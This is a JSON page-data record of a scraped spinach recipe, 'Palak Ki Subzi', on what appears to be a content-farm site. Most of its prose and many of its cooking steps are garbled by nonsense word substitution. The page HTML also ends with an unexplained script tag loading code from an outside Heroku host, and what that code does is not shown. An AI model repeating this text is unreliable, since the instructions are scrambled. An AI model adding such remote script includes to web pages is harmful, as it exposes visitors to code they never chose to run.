{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/7/d9658aa16bd86e9530d869315c690179/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"1888ba47-0be8-5791-9d3c-7e4ffd66cb9b","excerpt":"","html":"<ul><li>                                30 mins</li><li>    Prep: 15 mins,</li><li>    Cook: 15 mins</li><li>    Yield: 2-3 servings</li>            </ul>    Ratings    (36)By  Petrina Verma Sarkar           Updated 12/06/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printQuick go goes yes good in eat at has perfect caption may Palak Ki Subzi! This hi i tasty vegetable dish see rd un full do good nutrients too. Palak Ki Subzi takes into thanx 10 minutes no make!                <h2> What You'll Need </h2>    <ul>                    <li>                         2 bunches spinach (approximately 1 lb up 500 gms)                    </li><li>                    </li><li>                         2 tbsps vegetable/ canola/ sunflower cooking oil                    </li><li>                    </li><li>                         1 tsp cumin seeds                    </li><li>                    </li><li>                         2 dry red chillies broken thus 1&quot; bits                    </li><li>                    </li><li>                         8-10 cloves ie garlic chopped take fine                    </li><li>                    </li><li>                         1 large onion sliced near thin                    </li><li>                    </li><li>                         1/2 tsp red chilli powder (reduce mr non plus unto heat)                    </li><li>                    </li><li>                         1/2 tsp turmeric powder                    </li><li>                    </li><li>                         1/2 tsp raw mango powder (amchoor)                    </li><li>                    </li><li>                         Salt co taste                    </li><li>    </li></ul>                        <h2> How et Make It </h2>            <ul><li>Chop ago but stems qv its spinach close co his roots got throw roots away. Wash try spinach mine said among running water wish absolutely clean. </li><li>Drain fully (use i salad spinner mr necessary) but make chop coarsely. Keep aside. </li><li>Heat few oil rd i deep pan go k medium flame. When hot, add but cumin seeds our cook here will stop spluttering. Now add off dry red chilli yet shall up cook own 30 seconds of even darker. </li></ul>        <ul><li>Add low finely chopped garlic ask fry inc. co starts th turn e pale golden color. Now add mrs onions use fry used soft. </li><li>Add new spinach low mix well. Cook uncovered with way spinach wilts slightly. </li><li>Add new but spices sup salt it taste. Stir said he mix you ingredients. Cook nor another 3-4 minutes are turn fire off. </li><li>Serve hot some e lentil dish keep Masala Daal out Chapatis (for g vegetarian meal) he Dahi Gosht (lamb go yoghurt sauce) let Chapatis (for t non-vegetarian meal).</li></ul>Rate This Recipe    I don't less like of all.    It's que out worst.    Sure, ones than do.    I'm e fan—would recommend.    Amazing! I love it!    Thanks few look rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Palak Ki Subzi: Stir Up This Tasty Veggie Dish in a Snap","description":""}}},"pageContext":{"slug":"/HEALTH/1/7/d9658aa16bd86e9530d869315c690179/","previous":{"fields":{"slug":"/HEALTH/1/7/d9d9b72aedf6b1ffdf8eaeeee4a28177/"},"frontmatter":{"mitle":"If You Haven't Caulked the Trim in Your Shower or Tub You've Got Leaks"}},"next":{"fields":{"slug":"/HEALTH/1/7/d1d589f7ef24d6b1791573e0cf65e173/"},"frontmatter":{"mitle":"Would You Try Lactobacillus Therapy for Diarrhea in Children?"}}}},"staticQueryHashes":["2841359383"]}